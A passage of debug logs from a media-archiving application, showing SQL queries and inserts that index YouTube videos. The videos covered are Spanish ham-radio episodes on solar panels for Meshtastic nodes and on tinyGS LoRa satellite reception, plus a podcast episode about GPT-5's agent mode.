dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "156 - PANELES SOLARES Y NODOS MESHTASTIC", "eb09817e-4b3a-436e-aa6e-0a63061cdc69", 2085, false, "nixWEYjBFH8", "https://www.youtube.com/watch?v=nixWEYjBFH8", 25, "/downloads/music/ea3grn/156 - PANELES SOLARES Y NODOS MESHTASTIC.m4a", false, false, false, 3, [], 98, ~U[2025-05-03 17:51:03Z], ~U[2026-02-07 21:15:27Z], ~U[2026-02-07 21:15:27Z], "Hablando de paneles solares económicos y nodos meshtastic\n\nEnlaces a las compras:\n\nhttps://es.aliexpress.com/item/1005008076138305.html\npanel 133 x 73 mm\nV - 7.0v\nIc - 186mA\n\nPotencia = 1.26w (80% 1.0w) Publicitados 1.25.\n\n2.21 euros\n\n---------------------------\nhttps://es.aliexpress.com/item/1005007701773816.html\nPanel doble\nV 7.0 v\nIc - 840mA\n\nPotencia = 5.88w (80% 4.7w) publicitados 35w\n\n7.39 euros\n\n--------------------------------------\n\nhttps://es.aliexpress.com/item/1005005721676312.html\nPlaca 110 x 60 mm\n\nv- 6.8v\nIc - 130mA\n\nPotencia = 0.88 w (80% 0.7w ) Publicitados 1 w\n\n2.41 euros\n\n----------------------------------------\namazon.es/dp/B09F3LWLJ1\n\nPlaca 10w\n\nV- 5.9v\nIc - 630mA\n\nPotencia = 3.7 w (80% 2.9 w) Publicitados 10w\n\nPrecio 18 euros.\n-------------------------------------------\n\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n00:35 - Intro canal\n00:52 - Explicando conceptos\n09:08 - Probando las placas\n10:58 - Analizando los datos\n19:59 - Cargadores y los MPPT\n27:48 - ¿Que potencia necesito?\n\n#solar #mppt #meshtastic #hamradio #radioaficionados #mesh #868Mhz #panelsolar\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "156 - PANELES SOLARES Y NODOS MESHTASTIC", 2085, false, "nixWEYjBFH8", "https://www.youtube.com/watch?v=nixWEYjBFH8", "/downloads/music/ea3grn/156 - PANELES SOLARES Y NODOS MESHTASTIC.m4a", false, 3, ~U[2025-05-03 17:51:03Z]] 22:15:27.013 [debug] QUERY OK source="sources" db=0.7ms idle=824.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:15:27.014 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:15:27.014 [debug] QUERY OK source="media_items" db=0.5ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1337] 22:15:27.015 [debug] Current batch of media processed. Will check again in 1000ms 22:15:27.966 [debug] Current batch of media processed. Will check again in 1000ms 22:15:28.015 [debug] Current batch of media processed. Will check again in 1000ms 22:15:28.967 [debug] Current batch of media processed. Will check again in 1000ms 22:15:29.016 [debug] Current batch of media processed. Will check again in 1000ms 22:15:29.968 [debug] Current batch of media processed. Will check again in 1000ms 22:15:30.017 [debug] Current batch of media processed. Will check again in 1000ms 22:15:30.969 [debug] Current batch of media processed. Will check again in 1000ms 22:15:31.018 [debug] Current batch of media processed. Will check again in 1000ms 22:15:31.970 [debug] Current batch of media processed. Will check again in 1000ms 22:15:32.019 [debug] Current batch of media processed. Will check again in 1000ms 22:15:32.971 [debug] Current batch of media processed. Will check again in 1000ms 22:15:33.020 [debug] Current batch of media processed. Will check again in 1000ms 22:15:33.972 [debug] Current batch of media processed. Will check again in 1000ms 22:15:34.021 [debug] Current batch of media processed. Will check again in 1000ms 22:15:34.973 [debug] Current batch of media processed. Will check again in 1000ms 22:15:35.022 [debug] Current batch of media processed. Will check again in 1000ms 22:15:35.974 [debug] Current batch of media processed. Will check again in 1000ms 22:15:36.023 [debug] Current batch of media processed. Will check again in 1000ms 22:15:36.975 [debug] Current batch of media processed. Will check again in 1000ms 22:15:37.024 [debug] Current batch of media processed. Will check again in 1000ms 22:15:37.976 [debug] Current batch of media processed. Will check again in 1000ms 22:15:38.025 [debug] Current batch of media processed. Will check again in 1000ms 22:15:38.977 [debug] Current batch of media processed. Will check again in 1000ms 22:15:39.026 [debug] Current batch of media processed. Will check again in 1000ms 22:15:39.978 [debug] Current batch of media processed. Will check again in 1000ms 22:15:40.027 [debug] Current batch of media processed. Will check again in 1000ms 22:15:40.979 [debug] Current batch of media processed. Will check again in 1000ms 22:15:41.028 [debug] Current batch of media processed. Will check again in 1000ms 22:15:41.980 [debug] Current batch of media processed. Will check again in 1000ms 22:15:42.029 [debug] Current batch of media processed. Will check again in 1000ms 22:15:42.981 [debug] Current batch of media processed. Will check again in 1000ms 22:15:43.030 [debug] Current batch of media processed. Will check again in 1000ms 22:15:43.982 [debug] Current batch of media processed. Will check again in 1000ms 22:15:44.031 [debug] Current batch of media processed. Will check again in 1000ms 22:15:44.983 [debug] Current batch of media processed. Will check again in 1000ms 22:15:45.032 [debug] Current batch of media processed. Will check again in 1000ms 22:15:45.984 [debug] Current batch of media processed. Will check again in 1000ms 22:15:46.033 [debug] Current batch of media processed. Will check again in 1000ms 22:15:46.985 [debug] Current batch of media processed. Will check again in 1000ms 22:15:47.034 [debug] Current batch of media processed. Will check again in 1000ms 22:15:47.986 [debug] Current batch of media processed. Will check again in 1000ms 22:15:48.035 [debug] Current batch of media processed. Will check again in 1000ms 22:15:48.987 [debug] Current batch of media processed. Will check again in 1000ms 22:15:49.036 [debug] Current batch of media processed. Will check again in 1000ms 22:15:49.988 [debug] Current batch of media processed. Will check again in 1000ms 22:15:50.037 [debug] Current batch of media processed. Will check again in 1000ms 22:15:50.989 [debug] Current batch of media processed. Will check again in 1000ms 22:15:51.038 [debug] Current batch of media processed. Will check again in 1000ms 22:15:51.153 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:51.990 [debug] Current batch of media processed. Will check again in 1000ms 22:15:52.039 [debug] Current batch of media processed. Will check again in 1000ms 22:15:52.991 [debug] Current batch of media processed. Will check again in 1000ms 22:15:53.040 [debug] Current batch of media processed. Will check again in 1000ms 22:15:53.992 [debug] Current batch of media processed. Will check again in 1000ms 22:15:54.041 [debug] Current batch of media processed. Will check again in 1000ms 22:15:54.993 [debug] Current batch of media processed. Will check again in 1000ms 22:15:55.042 [debug] Current batch of media processed. Will check again in 1000ms 22:15:55.994 [debug] Current batch of media processed. Will check again in 1000ms 22:15:56.043 [debug] Current batch of media processed. Will check again in 1000ms 22:15:56.995 [debug] Current batch of media processed. Will check again in 1000ms 22:15:57.044 [debug] Current batch of media processed. Will check again in 1000ms 22:15:57.996 [debug] Current batch of media processed. Will check again in 1000ms 22:15:58.045 [debug] Current batch of media processed. Will check again in 1000ms 22:15:58.997 [debug] Current batch of media processed. Will check again in 1000ms 22:15:59.046 [debug] Current batch of media processed. Will check again in 1000ms 22:15:59.998 [debug] Current batch of media processed. Will check again in 1000ms 22:16:00.047 [debug] Current batch of media processed. Will check again in 1000ms 22:16:00.092 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:16:00.999 [debug] Current batch of media processed. Will check again in 1000ms 22:16:01.048 [debug] Current batch of media processed. Will check again in 1000ms 22:16:02.000 [debug] Current batch of media processed. Will check again in 1000ms 22:16:02.049 [debug] Current batch of media processed. Will check again in 1000ms 22:16:03.001 [debug] Current batch of media processed. Will check again in 1000ms 22:16:03.050 [debug] Current batch of media processed. Will check again in 1000ms 22:16:04.002 [debug] Current batch of media processed. Will check again in 1000ms 22:16:04.051 [debug] Current batch of media processed. Will check again in 1000ms 22:16:05.003 [debug] Current batch of media processed. Will check again in 1000ms 22:16:05.052 [debug] Current batch of media processed. Will check again in 1000ms 22:16:06.004 [debug] Current batch of media processed. Will check again in 1000ms 22:16:06.053 [debug] Current batch of media processed. Will check again in 1000ms 22:16:07.005 [debug] Current batch of media processed. Will check again in 1000ms 22:16:07.054 [debug] Current batch of media processed. Will check again in 1000ms 22:16:08.006 [debug] Current batch of media processed. Will check again in 1000ms 22:16:08.055 [debug] Current batch of media processed. Will check again in 1000ms 22:16:09.007 [debug] Current batch of media processed. Will check again in 1000ms 22:16:09.056 [debug] Current batch of media processed. Will check again in 1000ms 22:16:10.008 [debug] Current batch of media processed. Will check again in 1000ms 22:16:10.057 [debug] Current batch of media processed. Will check again in 1000ms 22:16:11.009 [debug] Current batch of media processed. Will check again in 1000ms 22:16:11.058 [debug] Current batch of media processed. Will check again in 1000ms 22:16:12.010 [debug] Current batch of media processed. Will check again in 1000ms 22:16:12.059 [debug] Current batch of media processed. Will check again in 1000ms 22:16:13.011 [debug] Current batch of media processed. Will check again in 1000ms 22:16:13.060 [debug] Current batch of media processed. Will check again in 1000ms 22:16:14.012 [debug] Current batch of media processed. Will check again in 1000ms 22:16:14.061 [debug] Current batch of media processed. Will check again in 1000ms 22:16:15.013 [debug] Current batch of media processed. Will check again in 1000ms 22:16:15.062 [debug] Current batch of media processed. Will check again in 1000ms 22:16:16.014 [debug] Current batch of media processed. Will check again in 1000ms 22:16:16.063 [debug] Current batch of media processed. Will check again in 1000ms 22:16:17.015 [debug] Current batch of media processed. Will check again in 1000ms 22:16:17.064 [debug] Current batch of media processed. Will check again in 1000ms 22:16:18.016 [debug] Current batch of media processed. Will check again in 1000ms 22:16:18.065 [debug] Current batch of media processed. Will check again in 1000ms 22:16:19.017 [debug] Current batch of media processed. Will check again in 1000ms 22:16:19.066 [debug] Current batch of media processed. Will check again in 1000ms 22:16:20.018 [debug] Current batch of media processed. Will check again in 1000ms 22:16:20.067 [debug] Current batch of media processed. Will check again in 1000ms 22:16:21.019 [debug] Current batch of media processed. Will check again in 1000ms 22:16:21.068 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Hoy vamos a jugar con receptores LORA en 433 Mhz aplicados a la recepción de satélites. Esto lo haremos con tinyGS, un software que nos permite de forma simple recibir señales desde el espacio con medios muy modestos.\n\n#tinyGS #lora #satelites #hamradio #radioaficionados #fsk #universidades #stem #diyelectronics \n\nContenido del video ------------------------------\n\n00:00 - Presentación\n00:55 - Intro canal\n01:13 - Introducción a tinyGS\n03:18 - Flasheando placa\n07:01 - registro en Telegram\n08:59 - Configuracion de la placa\n12:37 - Dashboard del tinyGS\n14:48 - Primeras pruebas fallidas\n15:36 - Acceso web al perfil de tinyGS\n15:58 - Consola de tinyGS\n18:03 - Primeros éxitos\n20:00 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1350, "filename" => "/downloads/music/ea3grn/155 - JUGANDO CON TINYGS ESCUCHANDO SATELITES LORA.m4a", "id" => "FPWNuxaDMSs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=FPWNuxaDMSs", "playlist_index" => 26, "timestamp" => 1745514019, "title" => "155 - JUGANDO CON TINYGS ESCUCHANDO SATELITES LORA", "upload_date" => "20250424"} 22:16:21.069 [debug] QUERY OK source="sources" db=0.5ms idle=1314.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:16:21.070 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=780.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:16:21.072 [debug] QUERY OK source="media_items" db=0.8ms queue=0.2ms idle=316.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-24 17:00:19Z], 3] 22:16:21.073 [debug] QUERY OK source="media_items" db=1.1ms idle=317.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hoy vamos a jugar con receptores LORA en 433 Mhz aplicados a la recepción de satélites. Esto lo haremos con tinyGS, un software que nos permite de forma simple recibir señales desde el espacio con medios muy modestos.\n\n#tinyGS #lora #satelites #hamradio #radioaficionados #fsk #universidades #stem #diyelectronics \n\nContenido del video ------------------------------\n\n00:00 - Presentación\n00:55 - Intro canal\n01:13 - Introducción a tinyGS\n03:18 - Flasheando placa\n07:01 - registro en Telegram\n08:59 - Configuracion de la placa\n12:37 - Dashboard del tinyGS\n14:48 - Primeras pruebas fallidas\n15:36 - Acceso web al perfil de tinyGS\n15:58 - Consola de tinyGS\n18:03 - Primeros éxitos\n20:00 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "155 - JUGANDO CON TINYGS ESCUCHANDO SATELITES LORA", "4228a310-b447-4962-afd6-2ac46bb61a63", 1350, false, "FPWNuxaDMSs", "https://www.youtube.com/watch?v=FPWNuxaDMSs", 26, "/downloads/music/ea3grn/155 - JUGANDO CON TINYGS ESCUCHANDO SATELITES LORA.m4a", false, false, false, 3, [], 98, ~U[2025-04-24 17:00:19Z], ~U[2026-02-07 21:16:21Z], ~U[2026-02-07 21:16:21Z], "Hoy vamos a jugar con receptores LORA en 433 Mhz aplicados a la recepción de satélites. Esto lo haremos con tinyGS, un software que nos permite de forma simple recibir señales desde el espacio con medios muy modestos.\n\n#tinyGS #lora #satelites #hamradio #radioaficionados #fsk #universidades #stem #diyelectronics \n\nContenido del video ------------------------------\n\n00:00 - Presentación\n00:55 - Intro canal\n01:13 - Introducción a tinyGS\n03:18 - Flasheando placa\n07:01 - registro en Telegram\n08:59 - Configuracion de la placa\n12:37 - Dashboard del tinyGS\n14:48 - Primeras pruebas fallidas\n15:36 - Acceso web al perfil de tinyGS\n15:58 - Consola de tinyGS\n18:03 - Primeros éxitos\n20:00 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "155 - JUGANDO CON TINYGS ESCUCHANDO SATELITES LORA", 1350, false, "FPWNuxaDMSs", "https://www.youtube.com/watch?v=FPWNuxaDMSs", "/downloads/music/ea3grn/155 - JUGANDO CON TINYGS ESCUCHANDO SATELITES LORA.m4a", false, 3, ~U[2025-04-24 17:00:19Z]] 22:16:21.074 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=318.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:16:21.075 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=4.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:16:21.075 [debug] QUERY OK source="media_items" db=0.5ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1340] 22:16:21.076 [debug] Current batch of media processed. Will check again in 1000ms 22:16:21.155 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:22.020 [debug] Current batch of media processed. Will check again in 1000ms 22:16:22.076 [debug] Current batch of media processed. Will check again in 1000ms 22:16:23.021 [debug] Current batch of media processed. Will check again in 1000ms 22:16:23.077 [debug] Current batch of media processed. Will check again in 1000ms 22:16:24.022 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep.2️⃣5️⃣: GPT-5 y el Modo Agente 😎\n\nLa gente habla y critica a GPT-5 por que no es tan listo... por que intenta pensar poco... vamos criticar por criticar... aquí va nuestro resumen de GPT-5 y sobre todo de algo que la gente no le esta haciendo ni caso, quedándose en lo superficial es el modo agente... que es una autentica pasada...\n\nComo siempre David García Martínez y yo te lo contamos en nuestro mini-podcast...\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n#iamique #Origen #ChatGPT #IAGen #genai #Adobes #GPT5 h#OpenAI #AgentMode\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "duration" => 819, "filename" => "/downloads/music/IA mí QUÉ/EP.25 - GPT-5 y el Modo Agente.m4a", "id" => "WKRuqC6YcGo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=WKRuqC6YcGo", "playlist_index" => 25, "timestamp" => 1755858590, "title" => "EP.25 - GPT-5 y el Modo Agente", "upload_date" => "20250822"} 22:16:24.023 [debug] QUERY OK source="sources" db=0.6ms idle=1268.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:16:24.024 [debug] QUERY OK source="sources" db=0.5ms idle=1269.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:16:24.025 [debug] QUERY OK source="media_items" db=0.7ms idle=1270.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-22 10:29:50Z], 2] 22:16:24.027 [debug] QUERY OK source="media_items" db=1.3ms idle=1271.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep.2️⃣5️⃣: GPT-5 y el Modo Agente 😎\n\nLa gente habla y critica a GPT-5 por que no es tan listo... por que intenta pensar poco... vamos criticar por criticar... aquí va nuestro resumen de GPT-5 y sobre todo de algo que la gente no le esta haciendo ni caso, quedándose en lo superficial es el modo agente... que es una autentica pasada...\n\nComo siempre David García Martínez y yo te lo contamos en nuestro mini-podcast...\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n#iamique #Origen #ChatGPT #IAGen #genai #Adobes #GPT5 h#OpenAI #AgentMode\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP.25 - GPT-5 y el Modo Agente", "c23296e7-3fa9-41d0-9208-a2c6fa783c99", 819, false, "WKRuqC6YcGo", "https://www.youtube.com/watch?v=WKRuqC6YcGo", 25, "/downloads/music/IA mí QUÉ/EP.25 - GPT-5 y el Modo Agente.m4a", false, false, false, 2, [], 98, ~U[2025-08-22 10:29:50Z], ~U[2026-02-07 21:16:24Z], ~U[2026-02-07 21:16:24Z], "#IAMIQUE 👉🏼 Ep.2️⃣5️⃣: GPT-5 y el Modo Agente 😎\n\nLa gente habla y critica a GPT-5 por que no es tan listo... por que intenta pensar poco... vamos criticar por criticar... aquí va nuestro resumen de GPT-5 y sobre todo de algo que la gente no le esta haciendo ni caso, quedándose en lo superficial es el modo agente... que es una autentica pasada...\n\nComo siempre David García Martínez y yo te lo contamos en nuestro mini-podcast...\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n#iamique #Origen #ChatGPT #IAGen #genai #Adobes #GPT5 h#OpenAI #AgentMode\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP.25 - GPT-5 y el Modo Agente", 819, false, "WKRuqC6YcGo", "https://www.youtube.com/watch?v=WKRuqC6YcGo", "/downloads/music/IA mí QUÉ/EP.25 - GPT-5 y el Modo Agente.m4a", false, 2, ~U[2025-08-22 10:29:50Z]] 22:16:24.028 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=731.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:16:24.029 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:16:24.030 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 